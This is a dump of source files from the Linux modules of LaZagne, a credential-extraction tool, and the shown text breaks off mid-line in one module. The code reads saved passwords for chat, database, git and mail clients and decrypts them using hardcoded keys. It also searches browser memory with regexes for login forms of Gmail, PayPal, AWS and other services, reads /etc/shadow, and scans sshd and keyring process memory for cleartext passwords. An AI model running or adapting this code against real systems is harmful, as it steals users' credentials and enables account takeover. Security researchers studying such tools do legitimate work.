    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\nimport os\nimport traceback\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom xml.etree.cElementTree import ElementTree\nfrom lazagne.config import homes\n\n\nclass Pidgin(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'pidgin', 'chats')\n\n    # If pidgin is started, use the api to retrieve all passwords\n    def get_password_from_dbus(self):\n\n        try:\n            import dbus\n        except ImportError:\n            self.debug('Dbus not installed: sudo apt-get install python-dbus')\n            return []\n\n        pwd_found = []\n        for _, session in homes.sessions():\n            try:\n                bus = dbus.bus.BusConnection(session)\n                purple = bus.get_object(\n                    \"im.pidgin.purple.PurpleService\",\n                    \"/im/pidgin/purple/PurpleObject\",\n                    \"im.pidgin.purple.PurpleInterface\"\n                )\n                acc = purple.PurpleAccountsGetAllActive()\n\n                for x in range(len(acc)):\n                    _acc = purple.PurpleAccountsGetAllActive()[x]\n                    pwd_found.append({\n                        'Login': purple.PurpleAccountGetUsername(_acc),\n                        'Password': purple.PurpleAccountGetPassword(_acc),\n                        'Protocol': purple.PurpleAccountGetProtocolName(_acc),\n                    })\n\n                bus.flush()\n                bus.close()\n\n            except Exception as e:\n                self.debug(e)\n\n        return pwd_found\n\n    def run(self):\n        pwd_found = self.get_password_from_dbus()\n\n        for path in homes.get(file=os.path.join('.purple', 'accounts.xml')):\n            tree = ElementTree(file=path)\n            root = tree.getroot()\n\n            for account in root.findall('account'):\n                if account.find('name') is not None:\n                    name = account.find('name')\n                    password = account.find('password')\n\n                    if name is not None and password is not None:\n                        pwd_found.append(\n                            {\n                                'Login': name.text,\n                                'Password': password.text\n                            }\n                        )\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/chats/psi.py",
    "content": "# -*- coding: utf-8 -*- \nimport os\nfrom xml.etree.cElementTree import ElementTree\nfrom itertools import cycle\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\n\nclass PSI(ModuleInfo):\n    def __init__(self):\n        self.pwd_found = []\n\n        ModuleInfo.__init__(self, 'psi-im', 'chats')\n\n    def get_profiles_files(self):\n        for profile_dir in homes.get(directory=[u'.config/psi/profiles', u'.local/psi+/profiles']):\n            try:\n                subdirs = os.listdir(profile_dir)\n            except Exception:\n                continue\n\n            for subdir in subdirs:\n                login_data = os.path.join(profile_dir, subdir, 'accounts.xml')\n                if os.path.isfile(login_data):\n                    yield login_data\n\n    # Thanks to https://github.com/jose1711/psi-im-decrypt\n    def decode_password(self, password, jid):\n        result = ''\n        jid = cycle(jid)\n        for n1 in range(0, len(password), 4):\n            x = int(password[n1:n1 + 4], 16)\n            result += chr(x ^ ord(next(jid)))\n\n        return result\n\n    def process_one_file(self, _path):\n        root = ElementTree(file=_path).getroot()\n\n        for item in root:\n            if item.tag == '{http://psi-im.org/options}accounts':\n                for acc in item:\n                    values = {}\n\n                    for x in acc:\n                        if x.tag == '{http://psi-im.org/options}jid':\n                            values['Login'] = x.text\n\n                        elif x.tag == '{http://psi-im.org/options}password':\n                            values['Password'] = x.text\n\n                    values['Password'] = self.decode_password(values['Password'], values['Login'])\n\n                    if values:\n                        self.pwd_found.append(values)\n\n    def run(self):\n        for one_file in self.get_profiles_files():\n            self.process_one_file(one_file)\n\n        return self.pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/databases/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n"
  },
  {
    "path": "Linux/lazagne/softwares/databases/dbvis.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\nimport binascii\nimport hashlib\nimport base64\nimport array\nimport re\nimport os\n\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.crypto.pyDes import des, CBC\nfrom lazagne.config import homes\n\n\nclass DbVisualizer(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'dbvis', 'databases')\n        self._salt = self.get_salt()\n        self._passphrase = 'qinda'\n        self._iteration = 10\n\n    def get_salt(self):\n        salt_array = [-114, 18, 57, -100, 7, 114, 111, 90]\n        salt = array.array('b', salt_array)\n        hexsalt = binascii.hexlify(salt)\n        return binascii.unhexlify(hexsalt)\n\n    def get_derived_key(self, password, salt, count):\n        key = bytearray(password) + salt\n\n        for i in range(count):\n            m = hashlib.md5(key)\n            key = m.digest()\n        return (key[:8], key[8:])\n\n    def decrypt(self, msg):\n        enc_text = base64.b64decode(msg)\n        (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)\n        crypter = des(dk, CBC, iv)\n        text = crypter.decrypt(enc_text)\n        return re.sub(r'[\\x01-\\x08]', '', text)\n\n    def run(self):\n\n        pwd_found = []\n\n        for home in homes.get(directory=u'.dbvis'):\n            path = os.path.join(home, u'config70', u'dbvis.xml')\n\n            if os.path.exists(path):\n                tree = ElementTree(file=path)\n\n                elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password',\n                            'UrlVariables//Driver': 'Driver'}\n\n                for e in tree.findall('Databases/Database'):\n                    values = {}\n                    for elem in elements:\n                        try:\n                            if elem != \"Password\":\n                                values[elements[elem]] = e.find(elem).text\n                            else:\n                                values[elements[elem]] = self.decrypt(e.find(elem).text)\n                        except Exception:\n                            pass\n\n                    try:\n                        elem = e.find('UrlVariables')\n                        for ee in elem.getchildren():\n                            for ele in ee.getchildren():\n                                if 'Server' == ele.attrib['UrlVariableName']:\n                                    values['Host'] = str(ele.text)\n                                if 'Port' == ele.attrib['UrlVariableName']:\n                                    values['Port'] = str(ele.text)\n                                if 'SID' == ele.attrib['UrlVariableName']:\n                                    values['SID'] = str(ele.text)\n                    except Exception:\n                        pass\n\n                    if values:\n                        pwd_found.append(values)\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/databases/sqldeveloper.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\n# Passwords decryption for new verion have been taken from:\n# https://github.com/maaaaz/sqldeveloperpassworddecryptor\n\nimport binascii\nimport hashlib\nimport base64\nimport array\nimport json\nimport re\nimport os\n\nfrom xml.etree.cElementTree import ElementTree\nfrom Crypto.Cipher import AES\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.crypto.pyDes import des, CBC\nfrom lazagne.config import homes\n\n\nclass SQLDeveloper(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'sqldeveloper', 'databases')\n        self._salt = self.get_salt()\n        self._passphrase = None\n        self._iteration = 42\n\n    def get_salt(self):\n        salt_array = [5, 19, -103, 66, -109, 114, -24, -83]\n        salt = array.array('b', salt_array)\n        hexsalt = binascii.hexlify(salt)\n        return binascii.unhexlify(hexsalt)\n\n    def get_derived_key(self, password, salt, count):\n        key = bytearray(password) + salt\n        for i in range(count):\n            m = hashlib.md5(key)\n            key = m.digest()\n        return (key[:8], key[8:])\n\n    def decrypt(self, msg):\n        enc_text = base64.b64decode(msg)\n        (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)\n        crypter = des(dk, CBC, iv)\n        text = crypter.decrypt(enc_text)\n        return re.sub(r'[\\x01-\\x08]', '', text)\n\n    def aes_cbc_decrypt(self, encrypted_password, decryption_key, iv):\n        unpad = lambda s : s[:-ord(s[len(s)-1:])]\n        crypter = AES.new(decryption_key, AES.MODE_CBC, iv)\n        decrypted_password = unpad(crypter.decrypt(encrypted_password))\n        \n        return decrypted_password.decode('utf-8')\n\n    def decrypt_v19_2(self, encrypted, db_system_id):\n        encrypted_password = base64.b64decode(encrypted)\n\n        salt = array.array('b', [6, -74, 97, 35, 61, 104, 50, -72])\n        key = hashlib.pbkdf2_hmac(\"sha256\", db_system_id.encode(), salt, 5000, 32)\n\n        iv = encrypted_password[:16]\n        encrypted_password = encrypted_password[16:]\n        try:\n            decrypted = self.aes_cbc_decrypt(encrypted_password, key, iv)\n        except:\n            return False\n        \n        return decrypted\n\n    def get_passphrase(self, path):\n        xml_name = u'product-preferences.xml'\n        xml_file = None\n\n        if os.path.exists(os.path.join(path, xml_name)):\n            xml_file = os.path.join(path, xml_name)\n        else:\n            for p in os.listdir(path):\n                if p.startswith('system'):\n                    new_directory = os.path.join(path, p)\n\n                    for pp in os.listdir(new_directory):\n                        if pp.startswith(u'o.sqldeveloper'):\n                            if os.path.exists(os.path.join(new_directory, pp, xml_name)):\n                                xml_file = os.path.join(new_directory, pp, xml_name)\n                            break\n        if xml_file:\n            tree = ElementTree(file=xml_file)\n            for elem in tree.iter():\n                if 'n' in elem.attrib.keys():\n                    if elem.attrib['n'] == 'db.system.id':\n                        return elem.attrib['v']\n\n    def run(self):\n        pwd_found = []\n\n        for home in homes.get(directory=u'.sqldeveloper'):\n            path = os.path.join(home, u'SQL Developer')\n            if os.path.exists(path):\n                self._passphrase = self.get_passphrase(path)\n                if self._passphrase:\n                    self.info(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase))\n                    \n                    # Check for older version\n                    xml_name = u'connections.xml'\n                    xml_file = None\n\n                    if os.path.exists(os.path.join(path, xml_name)):\n                        xml_file = os.path.join(path, xml_name)\n                    else:\n                        for p in os.listdir(path):\n                            if p.startswith('system'):\n                                new_directory = os.path.join(path, p)\n\n                                for pp in os.listdir(new_directory):\n                                    if pp.startswith(u'o.jdeveloper.db.connection'):\n                                        if os.path.exists(os.path.join(new_directory, pp, xml_name)):\n                                            xml_file = os.path.join(new_directory, pp, xml_name)\n                                        break\n\n                    if xml_file:\n                        wanted_value = ['sid', 'port', 'hostname', 'user', 'password', 'ConnName', 'customUrl',\n                                        'SavePassword', 'driver']\n                        renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login',\n                                         'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL',\n                                         'SavePassword': 'SavePassword', 'driver': 'Driver'}\n                        tree = ElementTree(file=xml_file)\n\n                        for e in tree.findall('Reference'):\n                            values = {}\n                            for ee in e.findall('RefAddresses/StringRefAddr'):\n                                if ee.attrib['addrType'] in wanted_value and ee.find('Contents').text is not None:\n                                    name = renamed_value[ee.attrib['addrType']]\n                                    value = ee.find('Contents').text if name != 'Password' else self.decrypt(\n                                        ee.find('Contents').text)\n                                    values[name] = value\n\n                            pwd_found.append(values)\n\n                    # Check for newer version\n                    json_name = u'connections.json'\n                    json_file = None\n\n                    if os.path.exists(os.path.join(path, xml_name)):\n                        json_file = os.path.join(path, xml_name)\n                    else:\n                        for p in os.listdir(path):\n                            if p.startswith('system'):\n                                new_directory = os.path.join(path, p)\n\n                                for pp in os.listdir(new_directory):\n                                    if pp.startswith(u'o.jdeveloper.db.connection'):\n                                        if os.path.exists(os.path.join(new_directory, pp, json_name)):\n                                            json_file = os.path.join(new_directory, pp, json_name)\n                                        break\n\n                    if json_file:\n                        with open(json_file) as jf: \n                            data = json.load(jf)\n                            for connection in data['connections']: \n                                values = {\n                                    'Name': connection['name'], \n                                    'Type': connection['type']\n                                }\n                                for info in connection['info']:\n                                    if info == 'password': \n                                        password  = self.decrypt_v19_2(connection['info'][info], self._passphrase)\n                                        if password: \n                                            values['Password'] = password\n                                    else:\n                                        values[info.capitalize()] = connection['info'][info]\n\n                                pwd_found.append(values)\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/databases/squirrel.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\nfrom xml.etree.cElementTree import ElementTree\n\nfrom lazagne.config import homes\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass Squirrel(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'squirrel', 'databases')\n\n    def get_paths(self):\n        return homes.get(file=os.path.join('.squirrel-sql', 'SQLAliases23.xml'))\n\n    def parse_xml(self, path):\n        pwd_found = []\n        if os.path.exists(path):\n            tree = ElementTree(file=path)\n            elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}\n            for elem in tree.iter('Bean'):\n                values = {}\n                for e in elem:\n                    if e.tag in elements:\n                        values[elements[e.tag]] = e.text\n                if values:\n                    pwd_found.append(values)\n\n        return pwd_found\n\n    def run(self):\n        all_passwords = []\n        for path in self.get_paths():\n            all_passwords += self.parse_xml(path)\n\n        return all_passwords\n"
  },
  {
    "path": "Linux/lazagne/softwares/git/__init__.py",
    "content": ""
  },
  {
    "path": "Linux/lazagne/softwares/git/gitforlinux.py",
    "content": "# -*- coding: utf-8 -*-\nimport os\nimport psutil\n\ntry: \n    from urlparse import urlparse, unquote\nexcept ImportError: \n    from urllib.parse import urlparse, unquote\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config import homes\n\n\nclass GitForLinux(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'gitforlinux', 'git')\n\n    def extract_credentials(self, location):\n        \"\"\"\n        Extract the credentials from a Git store file.\n        See \"https://git-scm.com/docs/git-credential-store\" for file format.\n\n        :param location: Full path to the Git store file\n        :return: List of credentials founds\n        \"\"\"\n        pwd_found = []\n        if os.path.isfile(location):\n            with open(location) as f:\n                # One line have the following format: https://user:pass@example.com\n                for cred in f:\n                    if len(cred) > 0:\n                        parts = urlparse(cred)\n                        pwd_found.append((\n                            unquote(parts.geturl().replace(parts.username + \":\" + parts.password + \"@\", \"\").strip()),\n                            unquote(parts.username),\n                            unquote(parts.password)\n                        ))\n\n        return pwd_found\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n        known_locations = set()\n\n        # According to the \"git-credential-store\" documentation:\n        # Build a list of locations in which git credentials can be stored\n\n        # Apply the password extraction on the defined locations\n        pwd_found = []\n        for location in homes.get(file=[u'.git-credentials', u'.config/git/credentials']):\n            pwd_found += self.extract_credentials(location)\n            known_locations.add(location)\n\n        # Read Env variable from another user\n        for process in psutil.process_iter():\n            try:\n                environ = process.environ()\n            except Exception:\n                continue\n\n            for var in ('XDG_CONFIG_HOME', ):\n                if var not in environ or environ[var] in known_locations:\n                        continue\n\n                # Env variable found\n                location = environ[var]\n                known_locations.add(location)\n                pwd_found += self.extract_credentials(os.path.join(location, 'git/credentials'))\n\n        # Filter duplicates\n        return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)]\n"
  },
  {
    "path": "Linux/lazagne/softwares/mails/__init__.py",
    "content": ""
  },
  {
    "path": "Linux/lazagne/softwares/mails/clawsmail.py",
    "content": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# Thanks to https://github.com/b4n/clawsmail-password-decrypter\n\nimport os\nimport platform\nimport re\nimport traceback\n\nfrom base64 import standard_b64decode as b64decode\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.crypto.pyDes import des, ECB, CBC\nfrom lazagne.config.crypto.pyaes import AESModeOfOperationCBC\nfrom lazagne.config.crypto.pbkdf2 import pbkdf2\nfrom lazagne.config import homes\n\ntry:\n    from ConfigParser import ConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import ConfigParser  # Python 3\n\nCFB = 0  # To implement\n\n\nclass ClawsMail(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'clawsmail', 'mails')\n\n        self.mode = CFB\n        if 'FreeBSD' in platform.system():\n            self.mode = ECB\n\n        self.passcrypt_key = b'passkey0'\n        self.salt = None\n        self.pbkdf2_rounds = 0\n        self.use_master_passphrase = 0\n\n        self.AES_BLOCK_SIZE = 16\n        self.IVLEN = 16\n        self.KEYLEN = 32  # AES-256\n\n    def get_paths(self):\n        return homes.get(directory=u'.claws-mail')\n\n    def get_clawsrc_conf(self, path):\n        p = ConfigParser()\n        p.read(os.path.join(path, 'clawsrc'))\n        for s in p.sections():\n            try:\n                self.salt = b64decode(p.get(s, 'master_passphrase_salt'))\n                self.pbkdf2_rounds = int(p.get(s, 'master_passphrase_pbkdf2_rounds'))\n                self.use_master_passphrase = p.get(s, 'use_master_passphrase')\n            except Exception:\n                self.debug(traceback.format_exc())\n\n    def pass_decrypt_old(self, p):\n        \"\"\" Decrypts a password from ClawsMail. => old version \"\"\"\n        if p[0] == '!':  # encrypted password\n            buf = b64decode(p[1:])\n\n            \"\"\"\n            If mode is ECB or CBC and the length of the data is wrong, do nothing\n            as would the libc algorithms (as they fail early).\tYes, this means the\n            password wasn't actually encrypted but only base64-ed.\n            \"\"\"\n            if (self.mode in (ECB, CBC)) and ((len(buf) % 8) != 0 or len(buf) > 8192):\n                return buf\n\n            c = des(self.passcrypt_key, self.mode, b'\\0' * 8)\n            return c.decrypt(buf)\n        else:\n            return p  # raw password\n\n    def pass_decrypt_new(self, encrypted_pwd):\n        \"\"\" Decrypts a password from ClawsMail. => new version \"\"\"\n        # Everything is explained on the doc / code\n        # https://github.com/eworm-de/claws-mail/blob/master/doc/src/password_encryption.txt\n        # https://github.com/eworm-de/claws-mail/blob/aca15d9a473bdfdeef4a572b112ff3679d745247/src/password.c#L409\n\n        m = re.match('{(.*),(.*)}(.*)', encrypted_pwd)\n        if m:\n            # rounds and pbkdf2_rounds should be identical\n            mode, rounds, enc_pwd = m.groups()\n\n        masterkey = pbkdf2(self.passcrypt_key, self.salt, int(rounds), self.KEYLEN)\n\n        raw = b64decode(enc_pwd)\n        aes = AESModeOfOperationCBC(masterkey, iv='\\0' * 16)\n        cleartxt = b\"\".join([aes.decrypt(raw[i:i + self.AES_BLOCK_SIZE]) for i in range(0, len(raw), self.AES_BLOCK_SIZE)])\n        plaintext = cleartxt[self.AES_BLOCK_SIZE:]\n\n        try:\n            return plaintext.decode()\n        except Exception:\n            # Password seems not correct\n            return plaintext\n\n    def parse_passwordstorerc(self, path, section):\n        found = False\n        accout_number = section.lower().split(':')[1]\n        section_name = 'account:{num}'.format(num=accout_number.strip())\n        with open(os.path.join(path, 'passwordstorerc')) as f:\n            for line in f.readlines():\n                if found:\n                    return line.strip()\n                if section_name in line:\n                    found = True\n        return False\n\n    def parse_accountrc(self, path):\n        \"\"\" Reads passwords from ClawsMail's accountrc file \"\"\"\n        p = ConfigParser()\n        p.read(os.path.join(path, 'accountrc'))\n\n        pwd_found = []\n        for s in p.sections():\n            try:\n                address = p.get(s, 'address')\n                account = p.get(s, 'account_name')\n            except Exception:\n                address = '<unknown>'\n                account = '<unknown>'\n\n            try:\n                # Old version\n                password = self.pass_decrypt_old(p.get(s, 'password'))\n\n            except Exception as e:\n                # Password not stored on accountrc file\n                if not self.salt:\n                    self.get_clawsrc_conf(path)\n\n                if self.use_master_passphrase != '0':\n                    self.info('Master password used ! ')\n                    continue\n\n                encrypted_pwd_line = self.parse_passwordstorerc(path, s)\n                if not encrypted_pwd_line:\n                    self.info('Password not fount for account {account}'.format(account=s))\n                    continue\n\n                _, encrypted_pwd = encrypted_pwd_line.split()\n                if encrypted_pwd.startswith('!'):\n                    password = self.pass_decrypt_old(encrypted_pwd)\n                else:\n                    password = self.pass_decrypt_new(encrypted_pwd)\n\n            if password:\n                values = {'Login': account, 'URL': address, 'Password': password}\n            else:\n                values = {'Login': account, 'URL': address}\n\n            pwd_found.append(values)\n\n        return pwd_found\n\n    def run(self):\n        all_passwords = []\n        for path in self.get_paths():\n            all_passwords += self.parse_accountrc(path)\n\n        return all_passwords\n"
  },
  {
    "path": "Linux/lazagne/softwares/mails/thunderbird_mails.py",
    "content": "from lazagne.config.soft_import_module import soft_import\n\nmozilla_module_location = \"lazagne.softwares.browsers.mozilla\", \"Mozilla\"\nMozilla = soft_import(*mozilla_module_location)\n\n# Name, path\nthunderbird_mails = [\n    (u'thunderbird', u'.thunderbird'),\n]\n\nthunderbird_mails = [Mozilla(browser_name=name, path=path, category='mails') for name, path in thunderbird_mails]\n"
  },
  {
    "path": "Linux/lazagne/softwares/memory/__init__.py",
    "content": ""
  },
  {
    "path": "Linux/lazagne/softwares/memory/memorydump.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n# Author: Nicolas VERDIER (contact@n1nj4.eu)\n\n\"\"\" \nThis script uses memorpy to dumps cleartext passwords from browser's memory\nIt has been tested on both windows 10 and ubuntu 16.04\nThe regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz\n\"\"\"\nfrom lazagne.config.module_info import ModuleInfo\nfrom memorpy import *\n\n# password_regex=[\n#     \"(email|log(in)?|user(name)?)=(?P<Login>.{1,25})?&.{0,10}?p[a]?[s]?[s]?[w]?[o]?[r]?[d]?=(?P<Password>.{1,25})&\"\n# ]\n\n# grep to list all URLs (could be useful to find the relation between a user / password and its host)\n# http_regex=[\n#     \"(?P<URL>http[s]?:\\/\\/[a-zA-Z0-9-]{1,61}(\\.[a-zA-Z]{2,})+)\"\n# ]\n\npassword_regex = [\n    (\"Gmail\", \"&Email=(?P<Login>.{1,99})?&Passwd=(?P<Password>.{1,99})?&PersistentCookie=\"),\n    (\"Dropbox\", \"login_email=(?P<Login>.{1,99})&login_password=(?P<Password>.{1,99})&\"),\n    (\"SalesForce\", \"&display=page&username=(?P<Login>.{1,32})&pw=(?P<Password>.{1,16})&Login=\"),\n    (\"Office365\", \"login=(?P<Login>.{1,32})&passwd=(?P<Password>.{1,22})&PPSX=\"),\n    (\"MicrosoftOneDrive\", \"login=(?P<Login>.{1,42})&passwd=(?P<Password>.{1,22})&type=.{1,2}&PPFT=\"),\n    (\"PayPal\", \"login_email=(?P<Login>.{1,48})&login_password=(?P<Password>.{1,16})&submit=Log\\+In&browser_name\"),\n    (\"awsWebServices\", \"&email=(?P<Login>.{1,48})&create=.{1,2}&password=(?P<Password>.{1,22})&metadata1=\"),\n    (\"OutlookWeb\", \"&username=(?P<Login>.{1,48})&password=(?P<Password>.{1,48})&passwordText\"),\n    (\"Slack\", \"&crumb=.{1,70}&email=(?P<Login>.{1,50})&password=(?P<Password>.{1,48})\"),\n    (\"CitrixOnline\", \"emailAddress=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&submit\"),\n    (\"Xero \", \"fragment=&userName=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&__RequestVerificationToken=\"),\n    (\"MYOB\", \"UserName=(?P<Login>.{1,50})&Password=(?P<Password>.{1,50})&RememberMe=\"),\n    (\"JuniperSSLVPN\",\n     \"tz_offset=-.{1,6}&username=(?P<Login>.{1,22})&password=(?P<Password>.{1,22})&realm=.{1,22}&btnSubmit=\"),\n    (\"Twitter\", \"username_or_email%5D=(?P<Login>.{1,42})&session%5Bpassword%5D=(?P<Password>.{1,22})&remember_me=\"),\n    (\"Facebook\", \"lsd=.{1,10}&email=(?P<Login>.{1,42})&pass=(?P<Password>.{1,22})&(?:default_)?persistent=\"),\n    (\"LinkedIN\", \"session_key=(?P<Login>.{1,50})&session_password=(?P<Password>.{1,50})&isJsEnabled\"),\n    (\"Malwr\", \"&username=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&next=\"),\n    (\"VirusTotal\", \"password=(?P<Password>.{1,22})&username=(?P<Login>.{1,42})&next=%2Fen%2F&response_format=json\"),\n    (\"AnubisLabs\", \"username=(?P<Login>.{1,42})&password=(?P<Password>.{1,22})&login=login\"),\n    (\"CitrixNetScaler\", \"login=(?P<Login>.{1,22})&passwd=(?P<Password>.{1,42})\"),\n    (\"RDPWeb\", \"DomainUserName=(?P<Login>.{1,52})&UserPass=(?P<Password>.{1,42})&MachineType\"),\n    (\"JIRA\", \"username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&rememberMe\"),\n    (\"Redmine\", \"username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&login=Login\"),\n    (\"Github\", \"%3D%3D&login=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})\"),\n    (\"BugZilla\", \"Bugzilla_login=(?P<Login>.{1,50})&Bugzilla_password=(?P<Password>.{1,50})\"),\n    (\"Zendesk\", \"user%5Bemail%5D=(?P<Login>.{1,50})&user%5Bpassword%5D=(?P<Password>.{1,50})\"),\n    (\"Cpanel\", \"user=(?P<Login>.{1,50})&pass=(?P<Password>.{1,50})\"),\n]\n\nbrowser_list = [\"firefox\", \"iceweasel\", \"chromium\", \"chrome\"]\n\n\nclass MemoryDump(ModuleInfo):\n    def __init__(self):\n        options = {'command': '--memdump', 'action': 'store_true', 'dest': 'memory_dump',\n                   'help': 'retrieve browsers passwords from memory'}\n        ModuleInfo.__init__(self, 'memory_dump', 'memory', options)\n\n    def run(self):\n        pwd_found = []\n        for process in Process.list():\n            if process.get('name', '') in browser_list or any([x in process.get('name', '') for x in browser_list]):\n                try:\n                    mw = MemWorker(pid=process.get('pid'))\n                except ProcessException:\n                    continue\n\n                self.info('dumping passwords from %s (pid: %s) ...' % (process.get('name'), str(process.get('pid'))))\n                for _, x in mw.mem_search(password_regex, ftype='groups'):\n                    login, password = x[-2:]\n                    pwd_found.append(\n                        {\n                            'URL': 'Unknown',\n                            'Login': login,\n                            'Password': password\n                        }\n                    )\n\n        return pwd_found\n"
  },
  {
    "path": "Linux/lazagne/softwares/memory/mimipy.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n    Author: Nicolas VERDIER (contact@n1nj4.eu)\n    Original idea from @huntergregal (https://github.com/huntergregal/mimipenguin)\n    This is a port in python of @huntergregal's bash script mimipenguin.sh with some improvments :\n        - possibility to clean passwords found from memory\n        - possibility to search for any trace of your password in all your processes\n        - possibility to scan a process by pid\n        - add some additional processes to scan like lightDM\n    You can find the bleeding edge version of mimipy here : https://github.com/n1nj4sec/mimipy\n\n\"\"\"\n\nimport os\nimport crypt\nimport re\nimport traceback\n\nfrom lazagne.config.lib.memorpy import *\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import python_version\n\n\nclass Mimipy(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'mimipy', 'memory')\n\n        self.shadow_hashes = []\n        self.rules = [\n            {\n                \"desc\": \"[SYSTEM - GNOME]\",\n                \"process\": r\"gnome-keyring-daemon|gdm-password|gdm-session-worker\",\n                \"near\": r\"libgcrypt\\.so\\..+|libgck\\-1\\.so\\.0|_pammodutil_getpwnam_|gkr_system_authtok\",\n                \"func\": self.test_shadow,\n            },\n            {\n                \"desc\": \"[SYSTEM - LightDM]\",  # Ubuntu/xubuntu login screen :) https://doc.ubuntu-fr.org/lightdm\n                \"process\": r\"lightdm\",\n                \"near\": r\"_pammodutil_getpwnam_|gkr_system_authtok\",\n                \"func\": self.test_shadow,\n            },\n            {\n                \"desc\": \"[SYSTEM - SSH Server]\",\n                \"process\": r\"/sshd$\",\n                \"near\": r\"sudo.+|_pammodutil_getpwnam_\",\n                \"func\": self.test_shadow,\n            },\n            {\n                \"desc\": \"[SSH Client]\",\n                \"process\": r\"/ssh$\",\n                \"near\": r\"sudo.+|/tmp/ICE-unix/[0-9]+\",\n                \"func\": self.test_shadow,\n            },\n            {\n                \"desc\": \"[SYSTEM - VSFTPD]\",\n                \"process\": r\"vsftpd\",\n                \"near\": r\"^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$\",\n                \"func\": self.test_shadow,\n            },\n        ]\n\n        regex_type = type(re.compile(\"^plop$\"))\n        # precompile regexes to optimize speed\n        for x in self.rules:\n            if \"near\" in x:\n                if type(x[\"near\"]) != regex_type:\n                    x[\"near\"] = re.compile(x[\"near\"])\n            if \"process\" in x:\n                if type(x[\"process\"]) != regex_type:\n                    x[\"process\"] = re.compile(x[\"process\"])\n\n        self.look_after_size = 1000 * 10 ** 3\n        self.look_before_size = 500 * 10 ** 3\n\n    def get_shadow_hashes(self):\n        hashes = []\n        with open('/etc/shadow', 'rb') as f:\n            for line in f:\n                tab = line.decode().split(\":\")\n                if len(tab[1]) > 10:\n                    hashes.append((tab[0], tab[1]))\n        return hashes\n\n    def memstrings(self, mw, start_offset=None, end_offset=None, optimizations=''):\n        for _, x in mw.mem_search(r\"([\\x20-\\x7e]{6,50})[^\\x20-\\x7e]\", ftype='re', start_offset=start_offset,\n                                  end_offset=end_offset, optimizations=optimizations):\n            yield x\n\n    def password_list_match(self, password_list, near):\n        for password in password_list:\n            if near.search(password.decode('latin')):\n                return True\n        return False\n\n    def cleanup_string(self, s):\n        try:\n            ns = \"\"\n            for c in s:\n                if ord(c) < 0x20 or ord(c) > 0x7e:\n                    break\n                ns += c\n            return ns\n        except Exception: \n            return s\n\n    def test_shadow(self, name, pid, rule, optimizations='nsrx'):\n        self.info('Analysing process %s (%s) for shadow passwords ...' % (name, pid))\n        password_tested = set()  # to avoid hashing the same string multiple times\n\n        with MemWorker(name=name, pid=pid) as mw:\n            scanned_segments = []\n\n            for _, match_addr in mw.mem_search(rule[\"near\"], ftype='re', optimizations=optimizations):\n                password_list = []\n                total = 0\n                start = int(match_addr - self.look_after_size)\n                end = int(match_addr + self.look_after_size)\n\n                for s, e in scanned_segments:\n                    if end < s or start > e:\n                        continue  # no collision\n                    elif start >= s and e >= start and end >= e:\n                        start = e - 200  # we only scan a smaller region because some of it has already been scanned\n\n                scanned_segments.append((start, end))\n\n                for x in self.memstrings(mw, start_offset=start, end_offset=end, optimizations=optimizations):\n                    password = self.cleanup_string(x.read(type='string', maxlen=51, errors='ignore'))\n                    total += 1\n                    password_list.append(password)\n\n                    if len(password_list) > 40:\n                        password_list = password_list[1:]\n\n                    if self.password_list_match(password_list, rule[\"near\"]):\n                        for p in password_list:\n                            if p not in password_tested:\n                                password_tested.add(p)\n                                for user, h in self.shadow_hashes:\n                                    if crypt.crypt(p.decode('latin'), h) == h:\n                                        p = p if python_version == 2 else p.decode()\n                                        yield (rule[\"desc\"], user, p)\n\n    def mimipy_loot_passwords(self, optimizations='nsrx'):\n        self.shadow_hashes = self.get_shadow_hashes()\n        for procdic in Process.list():\n            name = 